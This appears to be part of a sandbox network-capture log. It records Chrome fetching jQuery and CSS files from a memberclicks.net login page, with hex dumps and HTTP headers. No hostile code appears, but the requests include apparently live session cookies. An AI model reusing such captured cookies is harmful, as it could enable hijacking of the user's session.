2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 2c 20 74 72 75 65 20 29 20 3a 0a 09 09 09 66 75 6e 63 74 69 6f 6e 28 20 77 20 29 20 7b 0a 09 09 09 09 69 66 20 28 20 21 77 2e 64 6f 63 75 6d 65 6e 74 20 29 20 7b 0a 09 09 09 09 09 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 20 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 69 74 68 20 61 20 64 6f 63 75 6d 65 6e 74 22 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 63 74 6f 72 79 28 20 77 20 29 3b 0a 09 09 09 7d 3b 0a 09 7d 20 65 6c 73 65 20 7b 0a 09 09 66 61 63 74 6f 72 79 28 20 67 6c 6f 62 61 6c 20 29 3b 0a 09 7d 0a 0a 2f 2f 20 50 61 73 73 20 74 68 69 73 20 69 66 20 77 69 6e 64 6f 77 20 69 73 20 6e 6f 74 20 64 65 66 69 6e 65 64 20 79 65 74 0a 7d 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 20 21 3d Data Ascii: , true ) :function( w ) {if ( !w.document ) {throw new Error( "jQuery requires a window with a document" );}return factory( w );};} else {factory( global );}// Pass this if window is not defined yet}(typeof window !=
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 0a 0a 09 2f 2f 20 55 73 65 64 20 62 79 20 6a 51 75 65 72 79 2e 63 61 6d 65 6c 43 61 73 65 20 61 73 20 63 61 6c 6c 62 61 63 6b 20 74 6f 20 72 65 70 6c 61 63 65 28 29 0a 09 66 63 61 6d 65 6c 43 61 73 65 20 3d 20 66 75 6e 63 74 69 6f 6e 28 20 61 6c 6c 2c 20 6c 65 74 74 65 72 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6c 65 74 74 65 72 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 3b 0a 09 7d 3b 0a 0a 6a 51 75 65 72 79 2e 66 6e 20 3d 20 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 20 3d 20 7b 0a 0a 09 2f 2f 20 54 68 65 20 63 75 72 72 65 6e 74 20 76 65 72 73 69 6f 6e 20 6f 66 20 6a 51 75 65 72 79 20 62 65 69 6e 67 20 75 73 65 64 0a 09 6a 71 75 65 72 79 3a 20 76 65 72 73 69 6f 6e 2c 0a 0a 09 63 6f 6e 73 74 72 75 63 74 6f 72 3a 20 6a 51 75 65 72 79 2c 0a 0a 09 2f Data Ascii: // Used by jQuery.camelCase as callback to replace()fcamelCase = function( all, letter ) {return letter.toUpperCase();};jQuery.fn = jQuery.prototype = {// The current version of jQuery being usedjquery: version,constructor: jQuery,/
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 73 2c 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 69 20 29 20 7b 0a 09 09 09 72 65 74 75 72 6e 20 63 61 6c 6c 62 61 63 6b 2e 63 61 6c 6c 28 20 65 6c 65 6d 2c 20 69 2c 20 65 6c 65 6d 20 29 3b 0a 09 09 7d 20 29 20 29 3b 0a 09 7d 2c 0a 0a 09 73 6c 69 63 65 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 20 73 6c 69 63 65 2e 61 70 70 6c 79 28 20 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 20 29 20 29 3b 0a 09 7d 2c 0a 0a 09 66 69 72 73 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 20 30 20 29 3b 0a 09 7d 2c 0a 0a 09 6c 61 73 74 3a 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 20 2d 31 Data Ascii: s, function( elem, i ) {return callback.call( elem, i, elem );} ) );},slice: function() {return this.pushStack( slice.apply( this, arguments ) );},first: function() {return this.eq( 0 );},last: function() {return this.eq( -1
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 72 67 75 6d 65 6e 74 73 5b 20 69 20 5d 20 29 20 21 3d 20 6e 75 6c 6c 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 45 78 74 65 6e 64 20 74 68 65 20 62 61 73 65 20 6f 62 6a 65 63 74 0a 09 09 09 66 6f 72 20 28 20 6e 61 6d 65 20 69 6e 20 6f 70 74 69 6f 6e 73 20 29 20 7b 0a 09 09 09 09 73 72 63 20 3d 20 74 61 72 67 65 74 5b 20 6e 61 6d 65 20 5d 3b 0a 09 09 09 09 63 6f 70 79 20 3d 20 6f 70 74 69 6f 6e 73 5b 20 6e 61 6d 65 20 5d 3b 0a 0a 09 09 09 09 2f 2f 20 50 72 65 76 65 6e 74 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 20 70 6f 6c 6c 75 74 69 6f 6e 0a 09 09 09 09 2f 2f 20 50 72 65 76 65 6e 74 20 6e 65 76 65 72 2d 65 6e 64 69 6e 67 20 6c 6f 6f 70 0a 09 09 09 09 69 66 20 28 20 6e 61 6d 65 20 3d 3d 3d 20 22 5f 5f 70 72 6f 74 6f 5f 5f 22 20 7c 7c 20 74 61 72 67 65 Data Ascii: rguments[ i ] ) != null ) {// Extend the base objectfor ( name in options ) {src = target[ name ];copy = options[ name ];// Prevent Object.prototype pollution// Prevent never-ending loopif ( name === "__proto__" \|\| targe
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 72 65 74 75 72 6e 20 66 61 6c 73 65 20 6f 6e 20 49 45 20 28 23 32 39 36 38 29 2e 0a 09 69 73 46 75 6e 63 74 69 6f 6e 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 74 79 70 65 28 20 6f 62 6a 20 29 20 3d 3d 3d 20 22 66 75 6e 63 74 69 6f 6e 22 3b 0a 09 7d 2c 0a 0a 09 69 73 41 72 72 61 79 3a 20 41 72 72 61 79 2e 69 73 41 72 72 61 79 20 7c 7c 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 6a 51 75 65 72 79 2e 74 79 70 65 28 20 6f 62 6a 20 29 20 3d 3d 3d 20 22 61 72 72 61 79 22 3b 0a 09 7d 2c 0a 0a 09 69 73 57 69 6e 64 6f 77 3a 20 66 75 6e 63 74 69 6f 6e 28 20 6f 62 6a 20 29 20 7b 0a 09 09 2f 2a 20 6a 73 68 69 6e 74 20 65 71 65 71 65 71 3a 20 66 61 6c 73 65 20 2a Data Ascii: return false on IE (#2968).isFunction: function( obj ) {return jQuery.type( obj ) === "function";},isArray: Array.isArray \|\| function( obj ) {return jQuery.type( obj ) === "array";},isWindow: function( obj ) {/* jshint eqeqeq: false *
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 79 70 65 2c 20 22 69 73 50 72 6f 74 6f 74 79 70 65 4f 66 22 20 29 20 29 20 7b 0a 09 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 09 7d 0a 09 09 7d 20 63 61 74 63 68 20 28 20 65 20 29 20 7b 0a 0a 09 09 09 2f 2f 20 49 45 38 2c 39 20 57 69 6c 6c 20 74 68 72 6f 77 20 65 78 63 65 70 74 69 6f 6e 73 20 6f 6e 20 63 65 72 74 61 69 6e 20 68 6f 73 74 20 6f 62 6a 65 63 74 73 20 23 39 38 39 37 0a 09 09 09 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 49 45 3c 39 0a 09 09 2f 2f 20 48 61 6e 64 6c 65 20 69 74 65 72 61 74 69 6f 6e 20 6f 76 65 72 20 69 6e 68 65 72 69 74 65 64 20 70 72 6f 70 65 72 74 69 65 73 20 62 65 66 6f 72 65 20 6f 77 6e 20 70 72 6f 70 65 72 74 69 65 73 2e 0a 09 09 69 66 20 28 20 21 73 75 Data Ascii: ype, "isPrototypeOf" ) ) {return false;}} catch ( e ) {// IE8,9 Will throw exceptions on certain host objects #9897return false;}// Support: IE<9// Handle iteration over inherited properties before own properties.if ( !su
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 28 23 39 35 37 32 29 0a 09 63 61 6d 65 6c 43 61 73 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 73 74 72 69 6e 67 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 73 74 72 69 6e 67 2e 72 65 70 6c 61 63 65 28 20 72 6d 73 50 72 65 66 69 78 2c 20 22 6d 73 2d 22 20 29 2e 72 65 70 6c 61 63 65 28 20 72 64 61 73 68 41 6c 70 68 61 2c 20 66 63 61 6d 65 6c 43 61 73 65 20 29 3b 0a 09 7d 2c 0a 0a 09 6e 6f 64 65 4e 61 6d 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 65 6c 65 6d 2c 20 6e 61 6d 65 20 29 20 7b 0a 09 09 72 65 74 75 72 6e 20 65 6c 65 6d 2e 6e 6f 64 65 4e 61 6d 65 20 26 26 20 65 6c 65 6d 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 20 3d 3d 3d 20 6e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3b 0a 09 7d 2c 0a 0a 09 65 61 63 68 3a 20 66 75 6e 63 Data Ascii: (#9572)camelCase: function( string ) {return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase );},nodeName: function( elem, name ) {return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();},each: func
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 20 65 6c 65 6d 20 29 20 7b 0a 09 09 09 09 09 72 65 74 75 72 6e 20 69 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 72 65 74 75 72 6e 20 2d 31 3b 0a 09 7d 2c 0a 0a 09 6d 65 72 67 65 3a 20 66 75 6e 63 74 69 6f 6e 28 20 66 69 72 73 74 2c 20 73 65 63 6f 6e 64 20 29 20 7b 0a 09 09 76 61 72 20 6c 65 6e 20 3d 20 2b 73 65 63 6f 6e 64 2e 6c 65 6e 67 74 68 2c 0a 09 09 09 6a 20 3d 20 30 2c 0a 09 09 09 69 20 3d 20 66 69 72 73 74 2e 6c 65 6e 67 74 68 3b 0a 0a 09 09 77 68 69 6c 65 20 28 20 6a 20 3c 20 6c 65 6e 20 29 20 7b 0a 09 09 09 66 69 72 73 74 5b 20 69 2b 2b 20 5d 20 3d 20 73 65 63 6f 6e 64 5b 20 6a 2b 2b 20 5d 3b 0a 09 09 7d 0a 0a 09 09 2f 2f 20 53 75 70 70 6f 72 74 3a 20 49 45 3c 39 0a 09 09 2f 2f 20 57 6f 72 6b 61 72 6f 75 6e 64 20 63 61 73 74 69 Data Ascii: elem ) {return i;}}}return -1;},merge: function( first, second ) {var len = +second.length,j = 0,i = first.length;while ( j < len ) {first[ i++ ] = second[ j++ ];}// Support: IE<9// Workaround casti
2024-04-23 14:53:58 UTC	1369	IN	Data Raw: 73 20 29 20 7b 0a 09 09 09 09 76 61 6c 75 65 20 3d 20 63 61 6c 6c 62 61 63 6b 28 20 65 6c 65 6d 73 5b 20 69 20 5d 2c 20 69 2c 20 61 72 67 20 29 3b 0a 0a 09 09 09 09 69 66 20 28 20 76 61 6c 75 65 20 21 3d 20 6e 75 6c 6c 20 29 20 7b 0a 09 09 09 09 09 72 65 74 2e 70 75 73 68 28 20 76 61 6c 75 65 20 29 3b 0a 09 09 09 09 7d 0a 09 09 09 7d 0a 09 09 7d 0a 0a 09 09 2f 2f 20 46 6c 61 74 74 65 6e 20 61 6e 79 20 6e 65 73 74 65 64 20 61 72 72 61 79 73 0a 09 09 72 65 74 75 72 6e 20 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 20 5b 5d 2c 20 72 65 74 20 29 3b 0a 09 7d 2c 0a 0a 09 2f 2f 20 41 20 67 6c 6f 62 61 6c 20 47 55 49 44 20 63 6f 75 6e 74 65 72 20 66 6f 72 20 6f 62 6a 65 63 74 73 0a 09 67 75 69 64 3a 20 31 2c 0a 0a 09 2f 2f 20 42 69 6e 64 20 61 20 66 75 6e 63 74 69 6f Data Ascii: s ) {value = callback( elems[ i ], i, arg );if ( value != null ) {ret.push( value );}}}// Flatten any nested arraysreturn concat.apply( [], ret );},// A global GUID counter for objectsguid: 1,// Bind a functio

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49889	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	740	OUT	GET /includes/css/themes/base/ui.all.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	510	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Content-Length: 47 Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: "2f-609b6860d9980" x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Accept-Ranges: bytes Server: cloudflare CF-RAY: 878eafac2d1d458d-ATL
2024-04-23 14:53:59 UTC	47	IN	Data Raw: 40 69 6d 70 6f 72 74 20 22 75 69 2e 62 61 73 65 2e 63 73 73 22 3b 0a 40 69 6d 70 6f 72 74 20 22 75 69 2e 74 68 65 6d 65 2e 63 73 73 22 3b 0a Data Ascii: @import "ui.base.css";@import "ui.theme.css";

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.6	49886	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	730	OUT	GET /includes/css/jqueryui.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"273-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafac2e4cadc9-ATL
2024-04-23 14:53:59 UTC	634	IN	Data Raw: 32 37 33 0d 0a 2e 64 69 61 6c 6f 67 49 6e 73 74 72 75 63 74 69 6f 6e 73 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 78 78 2d 73 6d 61 6c 6c 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 23 46 46 36 36 36 36 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 70 78 20 30 70 78 20 30 70 78 20 30 70 78 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 70 78 3b 0a 7d 0a 2f 2a 2a 0a 2a 20 43 68 61 6e 67 65 73 20 66 6f 72 20 55 49 2d 64 69 61 6c 6f 67 20 66 72 6f 6d 20 6a 71 75 65 72 79 20 75 70 64 61 74 65 2e 20 45 76 65 6e 74 75 61 6c 6c 79 20 6e 65 65 64 20 74 6f 20 75 70 64 61 74 65 20 61 6c 6c 20 6f 66 20 74 68 65 20 43 53 53 20 66 6f 72 20 6a 71 75 65 72 79 20 55 Data Ascii: 273.dialogInstructions { font-family:Verdana, sans-serif; font-size:xx-small; color:#FF6666; margin:0px 0px 0px 0px; padding:0px;}/*** Changes for UI-dialog from jquery update. Eventually need to update all of the CSS for jquery U
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.6	49887	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	737	OUT	GET /includes/css/system-messages.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:58 GMT etag: W/"593-609b6860d9980-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafac39f7458f-ATL
2024-04-23 14:53:59 UTC	842	IN	Data Raw: 35 39 33 0d 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 20 4a 4d 43 20 4d 45 53 53 41 47 45 20 41 52 45 41 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 0a 2f 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 20 09 54 68 65 73 65 20 61 72 65 Data Ascii: 593/* ---------------------------------------------------- // -------- JMC MESSAGE AREA -------------------------- // ---------------------------------------------------- // ---------------------------------------------------- // These are
2024-04-23 14:53:59 UTC	592	IN	Data Raw: 20 30 7d 0a 23 62 6b 67 20 64 6c 23 73 79 73 74 65 6d 2d 6d 65 73 73 61 67 65 20 64 64 3a 6c 61 73 74 2d 63 68 69 6c 64 20 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 7d 0a 23 62 6b 67 20 64 6c 23 73 79 73 74 65 6d 2d 6d 65 73 73 61 67 65 20 6c 69 20 7b 70 61 64 64 69 6e 67 3a 20 30 3b 20 6d 61 72 67 69 6e 3a 20 30 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 7d 0a 23 62 6b 67 20 64 6c 23 73 79 73 74 65 6d 2d 6d 65 73 73 61 67 65 20 2e 65 72 72 6f 72 20 7b 63 6f 6c 6f 72 3a 20 23 61 30 30 3b 7d 0a 0a 23 62 6b 67 20 64 6c 23 73 79 73 74 65 6d 2d 6d 65 73 73 61 67 65 20 64 64 20 75 6c 7b 0a 09 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 20 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 20 0a 09 62 6f 72 64 65 Data Ascii: 0}#bkg dl#system-message dd:last-child {margin-bottom: 0px;}#bkg dl#system-message li {padding: 0; margin: 0; line-height: normal;}#bkg dl#system-message .error {color: #a00;}#bkg dl#system-message dd ul{color: inherit; background: none; borde
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.6	49888	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	731	OUT	GET /media/system/css/modal.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Thu, 09 Nov 2023 11:29:59 GMT etag: W/"53f-609b6861cdbc0-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafac2bfa53d5-ATL
2024-04-23 14:53:59 UTC	842	IN	Data Raw: 35 33 66 0d 0a 2e 62 6f 64 79 2d 6f 76 65 72 6c 61 79 65 64 20 65 6d 62 65 64 2c 20 2e 62 6f 64 79 2d 6f 76 65 72 6c 61 79 65 64 20 6f 62 6a 65 63 74 2c 20 2e 62 6f 64 79 2d 6f 76 65 72 6c 61 79 65 64 20 73 65 6c 65 63 74 0a 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 09 09 09 09 68 69 64 64 65 6e 3b 0a 7d 0a 0a 23 73 62 6f 78 2d 77 69 6e 64 6f 77 20 65 6d 62 65 64 2c 20 23 73 62 6f 78 2d 77 69 6e 64 6f 77 20 6f 62 6a 65 63 74 2c 20 23 73 62 6f 78 2d 77 69 6e 64 6f 77 20 73 65 6c 65 63 74 0a 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 09 09 09 09 76 69 73 69 62 6c 65 3b 0a 7d 0a 0a 23 73 62 6f 78 2d 6f 76 65 72 6c 61 79 0a 7b 0a 09 70 6f 73 69 74 69 6f 6e 3a 09 09 09 09 61 62 73 6f 6c 75 74 65 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 09 09 Data Ascii: 53f.body-overlayed embed, .body-overlayed object, .body-overlayed select{visibility:hidden;}#sbox-window embed, #sbox-window object, #sbox-window select{visibility:visible;}#sbox-overlay{position:absolute;background-color:
2024-04-23 14:53:59 UTC	508	IN	Data Raw: 2d 63 6f 6e 74 65 6e 74 0a 7b 0a 09 63 6c 65 61 72 3a 09 09 09 09 09 62 6f 74 68 3b 0a 09 6f 76 65 72 66 6c 6f 77 3a 09 09 09 09 61 75 74 6f 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 09 09 23 66 66 66 3b 0a 09 68 65 69 67 68 74 3a 09 09 09 09 09 31 30 30 25 3b 0a 09 77 69 64 74 68 3a 09 09 09 09 09 31 30 30 25 3b 0a 7d 0a 0a 2e 73 62 6f 78 2d 63 6f 6e 74 65 6e 74 2d 69 6d 61 67 65 23 73 62 6f 78 2d 63 6f 6e 74 65 6e 74 0a 7b 0a 09 6f 76 65 72 66 6c 6f 77 3a 09 09 09 09 76 69 73 69 62 6c 65 3b 0a 7d 0a 0a 23 73 62 6f 78 2d 69 6d 61 67 65 0a 7b 0a 09 64 69 73 70 6c 61 79 3a 09 09 09 09 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 73 62 6f 78 2d 63 6f 6e 74 65 6e 74 2d 69 6d 61 67 65 20 69 6d 67 0a 7b 0a 09 64 69 73 70 6c 61 79 3a 09 09 09 09 62 6c 6f Data Ascii: -content{clear:both;overflow:auto;background-color:#fff;height:100%;width:100%;}.sbox-content-image#sbox-content{overflow:visible;}#sbox-image{display:block;}.sbox-content-image img{display:blo
2024-04-23 14:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.6	49890	104.17.137.104	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:58 UTC	737	OUT	GET /templates/system/css/general.css HTTP/1.1 Host: arma1.memberclicks.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://arma1.memberclicks.net/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: serviceID=10085; 0012f0e1bd8c627a4a486a1336b31aa5=tcjqo9csmcshqmt8ctfc1abiq2; Login=1; __cfruid=bfc40cc62fe99c72e425bc9ac2e5a91f8c4e0847-1713884038
2024-04-23 14:53:59 UTC	527	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:59 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload last-modified: Mon, 02 Dec 2019 15:37:47 GMT etag: W/"925-598ba5c9238f8-gzip" vary: Accept-Encoding x-frame-options: sameorigin CF-Cache-Status: MISS Expires: Tue, 23 Apr 2024 15:53:59 GMT Cache-Control: public, max-age=3600 Server: cloudflare CF-RAY: 878eafac7d51adb9-ATL
